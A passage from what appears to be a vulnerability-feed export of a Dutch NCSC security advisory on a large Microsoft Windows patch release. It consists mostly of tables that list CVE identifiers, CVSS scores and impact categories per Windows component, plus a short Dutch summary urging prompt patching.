gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:00:59.301667Z"}, {"uuid": "7e0d384d-ab47-45b3-a5ab-8558adfc917d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54986", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: 